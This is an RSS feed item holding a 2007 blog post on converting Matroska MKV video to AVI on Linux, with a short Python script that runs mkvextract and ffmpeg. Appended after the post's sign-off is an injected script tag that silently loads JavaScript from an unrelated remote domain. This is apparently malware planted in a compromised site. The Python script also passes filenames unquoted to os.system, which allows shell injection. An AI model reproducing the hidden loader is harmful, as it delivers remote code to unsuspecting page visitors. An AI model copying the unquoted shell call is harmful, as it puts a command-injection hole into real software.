<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; mastroka</title>
	<atom:link href="http://www.larsen-b.com/tags/mastroka/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>How to convert matroska MKV to AVI on Linux ?</title>
		<link>http://www.larsen-b.com/Article/261.html</link>
		<comments>http://www.larsen-b.com/Article/261.html#comments</comments>
		<pubDate>Tue, 08 May 2007 12:38:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[divx]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[mastroka]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Today, I discover that my M3100 player doesn&#8217;t know how to play Mastroka files. Mastroka files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it. This stuff can be &#8230; <a href="http://www.larsen-b.com/Article/261.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today, I discover that my <a class="reference" href="http://www.larsen-b.com/Article/258.html">M3100</a> player doesn&#8217;t know how to play <a class="reference" href="http://www.matroska.org/">Mastroka</a> files. <a class="reference" href="http://www.matroska.org/">Mastroka</a> files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it.</p>
<p>This stuff can be repack in a AVI (xivd..) file with some open source tools. Here, a little script to do the hard stuff ;)</p>
<p>You can find the script here : <a href="http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py">http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py</a></p>
<pre class="literal-block">#!/usr/bin/python
# Little script to depack Matroska file, and repack them
# in a AVI + subtitle format.

import sys
import os

def message(msg):
    print "=" * 78
    print "= %s" % msg
    print "=" * 78

def usage():
    print "Mastroka repacker script"
    print "  Usage: "+sys.argv[0]+ " filename"

if __name__ == "__main__":
    if len(sys.argv) &lt; 2:
       usage()
    else:
       filename = sys.argv[1]
       basename = filename[:-4]
       message("Unpacking file: %s" % filename)
       os.system("mkvextract tracks %s 1:temp_video.avi 2:temp_audio.ogg 3:%s.srt" % (filename,basename) )

       message("Repacking file: %s.avi" % basename)
       os.system("ffmpeg -i temp_audio.ogg  -i temp_video.avi  -vcodec copy  %s.avi" % (basename) )

       message("Cleaning files")
       os.system("rm temp_video.avi temp_audio.ogg")</pre>
<p><strong>/Enjoy Video</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/261.html/feed</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
	</channel>
</rss>
